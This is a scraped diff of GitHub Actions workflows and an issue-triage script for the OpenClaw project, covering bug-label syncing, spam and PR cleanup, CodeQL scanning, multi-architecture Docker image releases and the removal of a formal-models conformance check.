description: "Process/app exits unexpectedly or hangs",
},
"bug:behavior": {
color: "D73A4A",
description: "Incorrect behavior without a crash",
},
};
const bugTypeToLabel = {
"Regression (worked before, now fails)": "regression",
"Crash (process/app exits or hangs)": "bug:crash",
"Behavior bug (incorrect output/state without crash)": "bug:behavior",
};
const bugSubtypeLabels = Object.keys(bugSubtypeLabelSpecs);
const extractIssueFormValue = (body, field) => {
if (!body) {
return "";
}
const escapedField = field.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
const regex = new RegExp(
`(?:^|\\n)###\\s+${escapedField}\\s*\\n([\\s\\S]*?)(?=\\n###\\s+|$)`,
"i",
);
const match = body.match(regex);
if (!match) {
return "";
}
for (const line of match[1].split("\n")) {
const trimmed = line.trim();
if (trimmed) {
return trimmed;
}
}
return "";
};
const ensureLabelExists = async (name, color, description) => {
try {
await github.rest.issues.getLabel({
owner: context.repo.owner,
repo: context.repo.repo,
name,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
await github.rest.issues.createLabel({
owner: context.repo.owner,
repo: context.repo.repo,
name,
color,
description,
});
}
};
const syncBugSubtypeLabel = async (issue, labelSet) => {
if (!labelSet.has("bug")) {
return;
}
const selectedBugType = extractIssueFormValue(issue.body ?? "", "Bug type");
const targetLabel = bugTypeToLabel[selectedBugType];
if (!targetLabel) {
return;
}
const targetSpec = bugSubtypeLabelSpecs[targetLabel];
await ensureLabelExists(targetLabel, targetSpec.color, targetSpec.description);
for (const subtypeLabel of bugSubtypeLabels) {
if (subtypeLabel === targetLabel) {
continue;
}
if (!labelSet.has(subtypeLabel)) {
continue;
}
try {
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
name: subtypeLabel,
});
labelSet.delete(subtypeLabel);
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
}
if (!labelSet.has(targetLabel)) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
labels: [targetLabel],
});
labelSet.add(targetLabel);
}
};
const isMaintainer = async (login) => {
if (!login) {
return false;
}
const normalized = normalizeLogin(login);
if (maintainerCache.has(normalized)) {
return maintainerCache.get(normalized);
}
let isMember = false;
try {
const membership = await github.rest.teams.getMembershipForUserInOrg({
org: context.repo.owner,
team_slug: maintainerTeam,
username: normalized,
});
isMember = membership?.data?.state === "active";
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
maintainerCache.set(normalized, isMember);
return isMember;
};
const countMaintainerMentions = async (body, authorLogin) => {
if (!body) {
return 0;
}
const normalizedAuthor = authorLogin ? normalizeLogin(authorLogin) : "";
if (normalizedAuthor && (await isMaintainer(normalizedAuthor))) {
return 0;
}
const haystack = body.toLowerCase();
const teamMention = `@${context.repo.owner.toLowerCase()}/${maintainerTeam}`;
if (haystack.includes(teamMention)) {
return 3;
}
const mentions = new Set();
for (const match of body.matchAll(mentionRegex)) {
mentions.add(normalizeLogin(match[1]));
}
if (normalizedAuthor) {
mentions.delete(normalizedAuthor);
}
let count = 0;
for (const login of mentions) {
if (await isMaintainer(login)) {
count += 1;
}
}
return count;
};
const triggerLabel = "trigger-response";
const activePrLimitLabel = "r: too-many-prs";
const activePrLimitOverrideLabel = "r: too-many-prs-override";
const target = context.payload.issue ?? context.payload.pull_request;
if (!target) {
return;
}
const labelSet = new Set(
(target.labels ?? [])
.map((label) => (typeof label === "string" ? label : label?.name))
.filter((name) => typeof name === "string"),
);
const issue = context.payload.issue;
const pullRequest = context.payload.pull_request;
const comment = context.payload.comment;
if (comment) {
const authorLogin = comment.user?.login ?? "";
if (comment.user?.type === "Bot" || authorLogin.endsWith("[bot]")) {
return;
}
const commentBody = comment.body ?? "";
const responses = [];
const mentionCount = await countMaintainerMentions(commentBody, authorLogin);
if (mentionCount >= 3) {
responses.push(pingWarningMessage);
}
const commentHaystack = commentBody.toLowerCase();
const commentRule = rules.find((item) =>
(item.commentTriggers ?? []).some((trigger) =>
commentHaystack.includes(trigger),
),
);
if (commentRule) {
responses.push(commentRule.message);
}
if (responses.length > 0) {
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: target.number,
body: responses.join("\n\n"),
});
}
return;
}
if (issue) {
const action = context.payload.action;
if (action === "opened" || action === "edited") {
const issueText = `${issue.title ?? ""}\n${issue.body ?? ""}`.trim();
const authorLogin = issue.user?.login ?? "";
const mentionCount = await countMaintainerMentions(
issueText,
authorLogin,
);
if (mentionCount >= 3) {
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
body: pingWarningMessage,
});
}
await syncBugSubtypeLabel(issue, labelSet);
}
}
const hasTriggerLabel = labelSet.has(triggerLabel);
if (hasTriggerLabel) {
labelSet.delete(triggerLabel);
try {
await github.rest.issues.removeLabel({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: target.number,
name: triggerLabel,
});
} catch (error) {
if (error?.status !== 404) {
throw error;
}
}
}
const isLabelEvent = context.payload.action === "labeled";
if (!hasTriggerLabel && !isLabelEvent) {
return;
}
if (issue) {
const title = issue.title ?? "";
const body = issue.body ?? "";
const haystack = `${title}\n${body}`.toLowerCase();
const hasLabel = (issue.labels ?? []).some((label) =>
typeof label === "string" ? label === "r: moltbook" : label?.name === "r: moltbook",
);
if (haystack.includes("moltbook") && !hasLabel) {
const hasMoltbookLabel = labelSet.has("r: moltbook");
const hasTestflightLabel = labelSet.has("r: testflight");
const hasSecurityLabel = labelSet.has("security");
if (title.toLowerCase().includes("security") && !hasSecurityLabel) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
labels: ["security"],
});
labelSet.add("security");
}
if (title.toLowerCase().includes("testflight") && !hasTestflightLabel) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
labels: ["r: testflight"],
});
labelSet.add("r: testflight");
}
if (haystack.includes("moltbook") && !hasMoltbookLabel) {
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
labels: ["r: moltbook"],
});
labelSet.add("r: moltbook");
}
}
const invalidLabel = "invalid";
const spamLabel = "r: spam";
const dirtyLabel = "dirty";
const noisyPrMessage =
"Closing this PR because it looks dirty (too many unrelated or unexpected changes). This usually happens when a branch picks up unrelated commits or a merge went sideways. Please recreate the PR from a clean branch.";
if (pullRequest) {
if (labelSet.has(dirtyLabel)) {
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
body: noisyPrMessage,
});
await github.rest.issues.update({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
state: "closed",
});
return;
}
const labelCount = labelSet.size;
if (labelCount > 20) {
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
body: noisyPrMessage,
});
await github.rest.issues.update({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
state: "closed",
});
return;
}
if (labelSet.has(spamLabel)) {
await github.rest.issues.update({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
state: "closed",
});
await github.rest.issues.lock({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
lock_reason: "spam",
});
return;
}
if (labelSet.has(invalidLabel)) {
await github.rest.issues.update({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: pullRequest.number,
state: "closed",
});
return;
}
}
const labelName = context.payload.label?.name;
if (!labelName) {
if (issue && labelSet.has(spamLabel)) {
await github.rest.issues.update({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
state: "closed",
state_reason: "not_planned",
});
await github.rest.issues.lock({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
lock_reason: "spam",
});
return;
}
const rule = rules.find((item) => item.label === labelName);
if (issue && labelSet.has(invalidLabel)) {
await github.rest.issues.update({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: issue.number,
state: "closed",
state_reason: "not_planned",
});
return;
}
if (pullRequest && labelSet.has(activePrLimitOverrideLabel)) {
labelSet.delete(activePrLimitLabel);
}
const rule = rules.find((item) => labelSet.has(item.label));
if (!rule) {
return;
}
const issueNumber = context.payload.issue?.number ?? context.payload.pull_request?.number;
if (!issueNumber) {
return;
}
const issueNumber = target.number;
await github.rest.issues.createComment({
owner: context.repo.owner,

File diff suppressed because it is too large Load Diff

137
.github/workflows/codeql.yml vendored Normal file
View File

@@ -0,0 +1,137 @@
name: CodeQL
on:
workflow_dispatch:
concurrency:
group: codeql-${{ github.workflow }}-${{ github.event.pull_request.number || github.sha }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
permissions:
actions: read
contents: read
security-events: write
jobs:
analyze:
name: Analyze (${{ matrix.language }})
runs-on: ${{ matrix.runs_on }}
strategy:
fail-fast: false
matrix:
include:
- language: javascript-typescript
runs_on: blacksmith-16vcpu-ubuntu-2404
needs_node: true
needs_python: false
needs_java: false
needs_swift_tools: false
needs_manual_build: false
needs_autobuild: false
config_file: ./.github/codeql/codeql-javascript-typescript.yml
- language: actions
runs_on: blacksmith-16vcpu-ubuntu-2404
needs_node: false
needs_python: false
needs_java: false
needs_swift_tools: false
needs_manual_build: false
needs_autobuild: false
config_file: ""
- language: python
runs_on: blacksmith-16vcpu-ubuntu-2404
needs_node: false
needs_python: true
needs_java: false
needs_swift_tools: false
needs_manual_build: false
needs_autobuild: false
config_file: ""
- language: java-kotlin
runs_on: blacksmith-16vcpu-ubuntu-2404
needs_node: false
needs_python: false
needs_java: true
needs_swift_tools: false
needs_manual_build: true
needs_autobuild: false
config_file: ""
- language: swift
runs_on: macos-latest
needs_node: false
needs_python: false
needs_java: false
needs_swift_tools: true
needs_manual_build: true
needs_autobuild: false
config_file: ""
steps:
- name: Checkout
uses: actions/checkout@v6
with:
submodules: false
- name: Setup Node environment
if: matrix.needs_node
uses: ./.github/actions/setup-node-env
with:
install-bun: "false"
use-sticky-disk: "false"
- name: Setup Python
if: matrix.needs_python
uses: actions/setup-python@v6
with:
python-version: "3.12"
- name: Setup Java
if: matrix.needs_java
uses: actions/setup-java@v5
with:
distribution: temurin
java-version: "21"
- name: Setup Swift build tools
if: matrix.needs_swift_tools
run: |
sudo xcode-select -s /Applications/Xcode_26.1.app
xcodebuild -version
brew install xcodegen swiftlint swiftformat
swift --version
- name: Initialize CodeQL
uses: github/codeql-action/init@v4
with:
languages: ${{ matrix.language }}
queries: security-and-quality
config-file: ${{ matrix.config_file || '' }}
- name: Autobuild
if: matrix.needs_autobuild
uses: github/codeql-action/autobuild@v4
- name: Build Android for CodeQL
if: matrix.language == 'java-kotlin'
working-directory: apps/android
run: ./gradlew --no-daemon :app:assembleDebug
- name: Build Swift for CodeQL
if: matrix.language == 'swift'
run: |
set -euo pipefail
swift build --package-path apps/macos --configuration release
cd apps/ios
xcodegen generate
xcodebuild build \
-project OpenClaw.xcodeproj \
-scheme OpenClaw \
-destination "generic/platform=iOS Simulator" \
CODE_SIGNING_ALLOWED=NO
- name: Analyze
uses: github/codeql-action/analyze@v4
with:
category: "/language:${{ matrix.language }}"

View File

@@ -6,138 +6,378 @@ on:
- main
tags:
- "v*"
paths-ignore:
- "docs/**"
- "**/*.md"
- "**/*.mdx"
- ".agents/**"
- "skills/**"
workflow_dispatch:
inputs:
tag:
description: Existing release tag to backfill (for example v2026.3.13)
required: true
type: string
concurrency:
group: docker-release-${{ github.workflow }}-${{ github.event_name == 'workflow_dispatch' && inputs.tag || github.ref }}
cancel-in-progress: false
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}
jobs:
# Build amd64 image
validate_manual_backfill:
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-24.04
permissions:
contents: read
steps:
- name: Validate tag input format
env:
RELEASE_TAG: ${{ inputs.tag }}
run: |
set -euo pipefail
if [[ ! "${RELEASE_TAG}" =~ ^v[0-9]{4}\.[1-9][0-9]*\.[1-9][0-9]*(-beta\.[1-9][0-9]*)?$ ]]; then
echo "Invalid release tag: ${RELEASE_TAG}"
exit 1
fi
- name: Checkout selected tag
uses: actions/checkout@v6
with:
ref: refs/tags/${{ inputs.tag }}
fetch-depth: 0
approve_manual_backfill:
if: github.event_name == 'workflow_dispatch'
needs: validate_manual_backfill
# WARNING: KEEP MANUAL BACKFILLS GATED BY THE docker-release ENVIRONMENT.
runs-on: ubuntu-24.04
environment: docker-release
steps:
- name: Approve Docker backfill
env:
RELEASE_TAG: ${{ inputs.tag }}
run: echo "Approved Docker backfill for $RELEASE_TAG"
# KEEP THIS WORKFLOW ON GITHUB-HOSTED RUNNERS.
# DO NOT MOVE IT BACK TO BLACKSMITH WITHOUT RE-VALIDATING TAG BUILDS AND BACKFILLS.
# Build amd64 images (default + slim share the build stage cache)
build-amd64:
runs-on: ubuntu-latest
needs: [approve_manual_backfill]
if: ${{ always() && (github.event_name != 'workflow_dispatch' || needs.approve_manual_backfill.result == 'success') }}
# WARNING: DO NOT REVERT THIS TO A BLACKSMITH RUNNER WITHOUT RE-VALIDATING TAG BACKFILLS.
runs-on: ubuntu-24.04
permissions:
packages: write
contents: read
outputs:
image-digest: ${{ steps.build.outputs.digest }}
image-metadata: ${{ steps.meta.outputs.json }}
digest: ${{ steps.build.outputs.digest }}
slim-digest: ${{ steps.build-slim.outputs.digest }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
with:
ref: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
fetch-depth: 0
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Set up Docker Builder
uses: docker/setup-buildx-action@v4
- name: Login to GitHub Container Registry
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata
id: meta
uses: docker/metadata-action@v5
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
tags: |
type=ref,event=branch
type=semver,pattern={{version}}
type=semver,pattern={{version}},suffix=-amd64
type=semver,pattern={{version}},suffix=-arm64
type=ref,event=branch,suffix=-amd64
type=ref,event=branch,suffix=-arm64
- name: Resolve image tags (amd64)
id: tags
shell: bash
env:
IMAGE: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
SOURCE_REF: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
run: |
set -euo pipefail
tags=()
slim_tags=()
if [[ "${SOURCE_REF}" == "refs/heads/main" ]]; then
tags+=("${IMAGE}:main-amd64")
slim_tags+=("${IMAGE}:main-slim-amd64")
fi
if [[ "${SOURCE_REF}" == refs/tags/v* ]]; then
version="${SOURCE_REF#refs/tags/v}"
tags+=("${IMAGE}:${version}-amd64")
slim_tags+=("${IMAGE}:${version}-slim-amd64")
fi
if [[ ${#tags[@]} -eq 0 ]]; then
echo "::error::No amd64 tags resolved for ref ${SOURCE_REF}"
exit 1
fi
{
echo "value<<EOF"
printf "%s\n" "${tags[@]}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
{
echo "slim<<EOF"
printf "%s\n" "${slim_tags[@]}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
- name: Resolve OCI labels (amd64)
id: labels
shell: bash
env:
SOURCE_REF: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
run: |
set -euo pipefail
source_sha="$(git rev-parse HEAD)"
version="${source_sha}"
if [[ "${SOURCE_REF}" == "refs/heads/main" ]]; then
version="main"
fi
if [[ "${SOURCE_REF}" == refs/tags/v* ]]; then
version="${SOURCE_REF#refs/tags/v}"
fi
created="$(date -u +%Y-%m-%dT%H:%M:%SZ)"
{
echo "value<<EOF"
echo "org.opencontainers.image.revision=${source_sha}"
echo "org.opencontainers.image.version=${version}"
echo "org.opencontainers.image.created=${created}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
- name: Build and push amd64 image
id: build
# WARNING: KEEP THE OFFICIAL DOCKER ACTION HERE; DO NOT SWITCH THIS BACK TO BLACKSMITH BLINDLY.
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64
labels: ${{ steps.meta.outputs.labels }}
tags: ${{ steps.meta.outputs.tags }}
cache-from: type=gha
cache-to: type=gha,mode=max
tags: ${{ steps.tags.outputs.value }}
labels: ${{ steps.labels.outputs.value }}
provenance: false
push: true
# Build arm64 image
- name: Build and push amd64 slim image
id: build-slim
# WARNING: KEEP THE OFFICIAL DOCKER ACTION HERE; DO NOT SWITCH THIS BACK TO BLACKSMITH BLINDLY.
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/amd64
build-args: |
OPENCLAW_VARIANT=slim
tags: ${{ steps.tags.outputs.slim }}
labels: ${{ steps.labels.outputs.value }}
provenance: false
push: true
# Build arm64 images (default + slim share the build stage cache)
build-arm64:
needs: [approve_manual_backfill]
if: ${{ always() && (github.event_name != 'workflow_dispatch' || needs.approve_manual_backfill.result == 'success') }}
# WARNING: DO NOT REVERT THIS TO A BLACKSMITH RUNNER WITHOUT RE-VALIDATING TAG BACKFILLS.
runs-on: ubuntu-24.04-arm
permissions:
packages: write
contents: read
outputs:
image-digest: ${{ steps.build.outputs.digest }}
image-metadata: ${{ steps.meta.outputs.json }}
digest: ${{ steps.build.outputs.digest }}
slim-digest: ${{ steps.build-slim.outputs.digest }}
steps:
- name: Checkout
uses: actions/checkout@v4
uses: actions/checkout@v6
with:
ref: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
fetch-depth: 0
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Set up Docker Builder
uses: docker/setup-buildx-action@v4
- name: Login to GitHub Container Registry
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata
id: meta
uses: docker/metadata-action@v5
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
tags: |
type=ref,event=branch
type=semver,pattern={{version}}
type=semver,pattern={{version}},suffix=-amd64
type=semver,pattern={{version}},suffix=-arm64
type=ref,event=branch,suffix=-amd64
type=ref,event=branch,suffix=-arm64
- name: Resolve image tags (arm64)
id: tags
shell: bash
env:
IMAGE: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
SOURCE_REF: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
run: |
set -euo pipefail
tags=()
slim_tags=()
if [[ "${SOURCE_REF}" == "refs/heads/main" ]]; then
tags+=("${IMAGE}:main-arm64")
slim_tags+=("${IMAGE}:main-slim-arm64")
fi
if [[ "${SOURCE_REF}" == refs/tags/v* ]]; then
version="${SOURCE_REF#refs/tags/v}"
tags+=("${IMAGE}:${version}-arm64")
slim_tags+=("${IMAGE}:${version}-slim-arm64")
fi
if [[ ${#tags[@]} -eq 0 ]]; then
echo "::error::No arm64 tags resolved for ref ${SOURCE_REF}"
exit 1
fi
{
echo "value<<EOF"
printf "%s\n" "${tags[@]}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
{
echo "slim<<EOF"
printf "%s\n" "${slim_tags[@]}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
- name: Resolve OCI labels (arm64)
id: labels
shell: bash
env:
SOURCE_REF: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
run: |
set -euo pipefail
source_sha="$(git rev-parse HEAD)"
version="${source_sha}"
if [[ "${SOURCE_REF}" == "refs/heads/main" ]]; then
version="main"
fi
if [[ "${SOURCE_REF}" == refs/tags/v* ]]; then
version="${SOURCE_REF#refs/tags/v}"
fi
created="$(date -u +%Y-%m-%dT%H:%M:%SZ)"
{
echo "value<<EOF"
echo "org.opencontainers.image.revision=${source_sha}"
echo "org.opencontainers.image.version=${version}"
echo "org.opencontainers.image.created=${created}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
- name: Build and push arm64 image
id: build
# WARNING: KEEP THE OFFICIAL DOCKER ACTION HERE; DO NOT SWITCH THIS BACK TO BLACKSMITH BLINDLY.
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/arm64
labels: ${{ steps.meta.outputs.labels }}
tags: ${{ steps.meta.outputs.tags }}
cache-from: type=gha
cache-to: type=gha,mode=max
tags: ${{ steps.tags.outputs.value }}
labels: ${{ steps.labels.outputs.value }}
provenance: false
push: true
# Create multi-platform manifest
- name: Build and push arm64 slim image
id: build-slim
# WARNING: KEEP THE OFFICIAL DOCKER ACTION HERE; DO NOT SWITCH THIS BACK TO BLACKSMITH BLINDLY.
uses: docker/build-push-action@v6
with:
context: .
platforms: linux/arm64
build-args: |
OPENCLAW_VARIANT=slim
tags: ${{ steps.tags.outputs.slim }}
labels: ${{ steps.labels.outputs.value }}
provenance: false
push: true
# Create multi-platform manifests
create-manifest:
runs-on: ubuntu-latest
needs: [approve_manual_backfill, build-amd64, build-arm64]
if: ${{ always() && needs.build-amd64.result == 'success' && needs.build-arm64.result == 'success' && (github.event_name != 'workflow_dispatch' || needs.approve_manual_backfill.result == 'success') }}
# WARNING: DO NOT REVERT THIS TO A BLACKSMITH RUNNER WITHOUT RE-VALIDATING TAG BACKFILLS.
runs-on: ubuntu-24.04
permissions:
packages: write
contents: read
needs: [build-amd64, build-arm64]
steps:
- name: Checkout
uses: actions/checkout@v6
with:
ref: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
fetch-depth: 0
- name: Login to GitHub Container Registry
uses: docker/login-action@v3
uses: docker/login-action@v4
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.repository_owner }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Extract metadata for manifest
id: meta
uses: docker/metadata-action@v5
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
tags: |
type=ref,event=branch
type=semver,pattern={{version}}
- name: Create and push manifest
run: |
docker buildx imagetools create $(jq -cr '.tags | map("-t " + .) | join(" ")' <<< "$DOCKER_METADATA_OUTPUT_JSON") \
${{ needs.build-amd64.outputs.image-digest }} \
${{ needs.build-arm64.outputs.image-digest }}
- name: Resolve manifest tags
id: tags
shell: bash
env:
DOCKER_METADATA_OUTPUT_JSON: ${{ steps.meta.outputs.json }}
IMAGE: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
SOURCE_REF: ${{ github.event_name == 'workflow_dispatch' && format('refs/tags/{0}', inputs.tag) || github.ref }}
IS_MANUAL_BACKFILL: ${{ github.event_name == 'workflow_dispatch' && '1' || '0' }}
run: |
set -euo pipefail
tags=()
slim_tags=()
if [[ "${SOURCE_REF}" == "refs/heads/main" ]]; then
tags+=("${IMAGE}:main")
slim_tags+=("${IMAGE}:main-slim")
fi
if [[ "${SOURCE_REF}" == refs/tags/v* ]]; then
version="${SOURCE_REF#refs/tags/v}"
tags+=("${IMAGE}:${version}")
slim_tags+=("${IMAGE}:${version}-slim")
# Manual backfills should only republish the requested version tags.
if [[ "${IS_MANUAL_BACKFILL}" != "1" && "$version" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[0-9]+)?$ ]]; then
tags+=("${IMAGE}:latest")
slim_tags+=("${IMAGE}:slim")
fi
fi
if [[ ${#tags[@]} -eq 0 ]]; then
echo "::error::No manifest tags resolved for ref ${SOURCE_REF}"
exit 1
fi
{
echo "value<<EOF"
printf "%s\n" "${tags[@]}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
{
echo "slim<<EOF"
printf "%s\n" "${slim_tags[@]}"
echo "EOF"
} >> "$GITHUB_OUTPUT"
- name: Create and push default manifest
shell: bash
run: |
set -euo pipefail
mapfile -t tags <<< "${{ steps.tags.outputs.value }}"
args=()
for tag in "${tags[@]}"; do
[ -z "$tag" ] && continue
args+=("-t" "$tag")
done
docker buildx imagetools create "${args[@]}" \
${{ needs.build-amd64.outputs.digest }} \
${{ needs.build-arm64.outputs.digest }}
- name: Create and push slim manifest
shell: bash
run: |
set -euo pipefail
mapfile -t tags <<< "${{ steps.tags.outputs.slim }}"
args=()
for tag in "${tags[@]}"; do
[ -z "$tag" ] && continue
args+=("-t" "$tag")
done
docker buildx imagetools create "${args[@]}" \
${{ needs.build-amd64.outputs.slim-digest }} \
${{ needs.build-arm64.outputs.slim-digest }}

View File

@@ -1,134 +0,0 @@
name: Formal models (informational conformance)
on:
pull_request:
jobs:
formal_conformance:
runs-on: ubuntu-latest
timeout-minutes: 20
permissions:
contents: read
pull-requests: write
steps:
- name: Checkout openclaw (PR)
uses: actions/checkout@v4
with:
path: openclaw
- name: Checkout formal models
uses: actions/checkout@v4
with:
repository: vignesh07/clawdbot-formal-models
ref: main
path: clawdbot-formal-models
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: "22"
- name: Regenerate extracted constants from openclaw
run: |
set -euo pipefail
cd clawdbot-formal-models
export OPENCLAW_REPO_DIR="${GITHUB_WORKSPACE}/openclaw"
node scripts/extract-tool-groups.mjs
node scripts/check-tool-group-alias.mjs
# Drift is about extracted artifacts only; compute it before model checking
# to avoid any incidental file touches affecting the result.
- name: Compute drift (generated/*)
id: drift
run: |
set -euo pipefail
cd clawdbot-formal-models
if git diff --quiet -- generated; then
echo "drift=false" >> "$GITHUB_OUTPUT"
exit 0
fi
echo "drift=true" >> "$GITHUB_OUTPUT"
git diff -- generated > "${GITHUB_WORKSPACE}/formal-models-drift.diff"
- name: Model check (green suite)
run: |
set -euo pipefail
cd clawdbot-formal-models
make \
precedence groups elevated nodes-policy \
attacker approvals approvals-token nodes-pipeline \
gateway-exposure gateway-exposure-v2 gateway-exposure-v2-protected \
gateway-auth-conformance gateway-auth-tailscale gateway-auth-proxy \
pairing pairing-cap pairing-idempotency pairing-refresh pairing-refresh-race \
ingress-gating ingress-idempotency ingress-dedupe-fallback ingress-trace ingress-trace2 \
routing-isolation routing-precedence routing-identitylinks routing-identity-transitive routing-identity-symmetry routing-identity-channel-override \
routing-thread-parent discord-pluralkit \
ingress-retry session-key-stability session-explosion-bound config-normalization \
queue-drain delivery-route-stability delivery-pipeline retry-termination retry-eventual-success \
no-cross-stream multi-event-eventual-emission \
dedupe-collision-fallback crash-restart-dedupe two-worker-dedupe openclaw-session-key-conformance \
routing-thread-parent-channel-override routing-trirule gateway-auth-proxy-header-spoof \
group-alias-check
- name: Model check (negative suite, expected violations)
continue-on-error: true
run: |
set -euo pipefail
cd clawdbot-formal-models
make -k \
precedence-negative groups-negative elevated-negative nodes-policy-negative \
attacker-negative attacker-nodes-negative attacker-nodes-allowlist-negative attacker-nodes-allowlist-negative \
approvals-negative approvals-token-negative nodes-pipeline-negative \
gateway-exposure-negative gateway-exposure-v2-negative gateway-exposure-v2-protected-negative \
gateway-exposure-v2-unsafe-custom gateway-exposure-v2-unsafe-tailnet gateway-exposure-v2-unsafe-auto \
gateway-auth-conformance-negative gateway-auth-tailscale-negative gateway-auth-proxy-negative \
pairing-negative pairing-cap-negative pairing-idempotency-negative pairing-refresh-negative pairing-refresh-race-negative \
ingress-gating-negative ingress-idempotency-negative ingress-dedupe-fallback-negative ingress-trace-negative ingress-trace2-negative \
routing-isolation-negative routing-precedence-negative routing-identitylinks-negative routing-identity-transitive-negative routing-identity-symmetry-negative routing-identity-channel-override-negative \
routing-thread-parent-negative discord-pluralkit-negative \
ingress-retry-negative session-key-stability-negative config-normalization-negative \
queue-drain delivery-route-stability-negative delivery-pipeline-negative retry-termination-negative retry-eventual-success-negative \
no-cross-stream-negative multi-event-eventual-emission-negative \
dedupe-collision-fallback-negative crash-restart-dedupe-negative two-worker-dedupe-negative openclaw-session-key-conformance-negative \
routing-thread-parent-channel-override-negative routing-trirule-negative gateway-auth-proxy-header-spoof-negative
- name: Upload drift diff artifact
if: steps.drift.outputs.drift == 'true'
uses: actions/upload-artifact@v4
with:
name: formal-models-conformance-drift
path: formal-models-drift.diff
- name: Comment on PR (informational)
if: steps.drift.outputs.drift == 'true'
uses: actions/github-script@v7
with:
script: |
const body = [
'⚠️ **Formal models conformance drift detected**',
'',
'The formal models extracted constants (`generated/*`) do not match this openclaw PR.',
'',
'This check is **informational** (not blocking merges yet).',
'See the `formal-models-conformance-drift` artifact for the diff.',
'',
'If this change is intentional, follow up by updating the formal models repo or regenerating the extracted artifacts there.',
].join('\n');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body,
});
- name: Summary
run: |
if [ "${{ steps.drift.outputs.drift }}" = "true" ]; then
echo "Formal conformance drift detected (informational)."
else
echo "Formal conformance: no drift."
fi

View File

@@ -6,29 +6,101 @@ on:
pull_request:
workflow_dispatch:
concurrency:
group: install-smoke-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: ${{ github.event_name == 'pull_request' }}
env:
FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: "true"
jobs:
docs-scope:
runs-on: blacksmith-16vcpu-ubuntu-2404
outputs:
docs_only: ${{ steps.check.outputs.docs_only }}
steps:
- name: Checkout
uses: actions/checkout@v6
with:
fetch-depth: 1
fetch-tags: false
- name: Ensure docs-scope base commit
uses: ./.github/actions/ensure-base-commit
with:
base-sha: ${{ github.event_name == 'push' && github.event.before || github.event.pull_request.base.sha }}
fetch-ref: ${{ github.event_name == 'push' && github.ref_name || github.event.pull_request.base.ref }}
